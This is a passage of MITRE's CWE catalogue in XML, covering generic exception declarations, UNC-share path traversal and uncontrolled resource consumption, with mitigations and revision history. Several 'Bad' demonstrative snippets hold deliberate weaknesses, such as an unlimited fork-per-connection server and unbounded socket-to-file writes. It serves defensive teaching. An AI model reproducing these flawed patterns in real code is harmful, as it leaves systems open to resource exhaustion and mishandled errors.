               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-24</Modification_Date>
               <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
	    <Modification>
	       <Modification_Name>CWE Content Team</Modification_Name>
	       <Modification_Organization>MITRE</Modification_Organization>
	       <Modification_Date>2019-01-03</Modification_Date>
	       <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
	    </Modification>
	    <Modification>
	       <Modification_Name>CWE Content Team</Modification_Name>
	       <Modification_Organization>MITRE</Modification_Organization>
	       <Modification_Date>2020-02-24</Modification_Date>
	       <Modification_Comment>updated References</Modification_Comment>
	    </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
	    <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Organization>MITRE</Contribution_Organization>
               <Contribution_Date>2023-03-06</Contribution_Date>
               <Contribution_Comment>Suggested additional Applicable_Platforms and modification to extended description.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Overly-Broad Catch Block</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="397" Name="Declaration of Throws for Generic Exception" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.</Description>
         <Extended_Description>Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following method throws three types of exceptions.</Intro_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public void doExchange() throws IOException, InvocationTargetException, SQLException {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While it might seem tidier to write</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>public void doExchange() throws Exception {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>int myfunction() throw(std::exception) {<xhtml:div style="margin-left:1em;">if (0) throw out_of_range();<xhtml:br/>throw length_error();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Overly-Broad Throws Declaration</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR07-J</Entry_ID>
               <Entry_Name>Do not throw RuntimeException, Exception, or Throwable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP5</Entry_ID>
               <Entry_Name>Ambiguous Exception Type</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-397</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-397</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-397"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-397"/>
         </References>
         <Notes>
         	<Note Type="Applicable Platform">For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-24</Modification_Date>
               <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Overly-Broad Throws Declaration</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="40" Name="Path Traversal: '\\UNC\share\name\' (Windows UNC Share)" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="36" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0687</Reference>
               <Description>FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0687</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'\\UNC\share\name\' (Windows UNC share)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;Filelike Objects&#34;, Page 664"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Windows UNC Share - '\\UNC\share\name\'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="400" Name="Uncontrolled Resource Consumption" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.</Description>
         <Extended_Description>
            <xhtml:p>Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the product, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.</xhtml:p>
            <xhtml:p>There are at least three distinct scenarios which can commonly lead to resource exhaustion:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Lack of throttling for the number of allocated resources</xhtml:li>
                  <xhtml:li>Losing all references to a resource before reaching the shutdown stage</xhtml:li>
                  <xhtml:li>Not closing/returning a resource after processing</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Resource exhaustion problems are often result due to an incorrect implementation of the following situations:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Error conditions and other exceptional circumstances.</xhtml:li>
                  <xhtml:li>Confusion over which part of the program is responsible for releasing the resource.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Resource Exhaustion</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>The most common result of resource exhaustion is denial of service. The product may slow down, crash due to unhandled errors, or lock out legitimate users.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>In some cases it may be possible to force the product to "fail open" in the event of resource exhaustion. The state of the product -- and possibly the security functionality - may then be compromised.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.</xhtml:p>
                  <xhtml:p>Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Fuzzing</Method>
               <Description>While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.</Description>
               <Effectiveness>Opportunistic</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Mitigation of resource exhaustion attacks requires that the target system either:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>recognizes the attack and denies that user further access for a given amount of time, or</xhtml:li>
                        <xhtml:li>uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.</xhtml:p>
                  <xhtml:p>The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that protocols have specific limits of scale placed on them.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all failures in resource allocation place the system into a safe posture.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>class Worker implements Executor {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>public void execute(Runnable r) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>try {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>catch (InterruptedException ie) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// postpone response</xhtml:i>
                                       <xhtml:br/>Thread.currentThread().interrupt();</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public Worker(Channel ch, int nworkers) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>protected void activate() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>Runnable loop = new Runnable() {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>public void run() {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>try {<xhtml:div style="margin-left:1em;">for (;;) {<xhtml:div style="margin-left:1em;">Runnable r = ...;<xhtml:br/>r.run();</xhtml:div>}</xhtml:div>}<xhtml:br/>catch (InterruptedException ie) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>};<xhtml:br/>new Thread(loop).start();</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-25">
               <Intro_Text>This code allocates a socket and forks each time it receives a new connection.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sock=socket(AF_INET, SOCK_STREAM, 0);<xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">newsock=accept(sock, ...);<xhtml:br/>printf("A connection has been accepted\n");<xhtml:br/>pid = fork();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-50">
               <Intro_Text>In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int writeDataFromSocketToFile(char *host, int port)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>char filename[FILENAME_SIZE];<xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>int socket = openSocketConnection(host, port);<xhtml:br/>
                           <xhtml:br/>if (socket &lt; 0) {<xhtml:div style="margin-left:1em;">printf("Unable to open socket connection");<xhtml:br/>return(FAIL);</xhtml:div>}<xhtml:br/>if (getNextMessage(socket, filename, FILENAME_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (openFileToWrite(filename) &gt; 0) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>while (getNextMessage(socket, buffer, BUFFER_SIZE) &gt; 0){<xhtml:div style="margin-left:1em;">if (!(writeToFile(buffer) &gt; 0))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>closeFile();</xhtml:div>
                           </xhtml:div>}<xhtml:br/>closeSocket(socket);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-51">
               <Intro_Text>In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */</xhtml:i>
                     <xhtml:br/>int processMessage(char **message)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *body;<xhtml:br/>
                           <xhtml:br/>int length = getMessageLength(message[0]);<xhtml:br/>
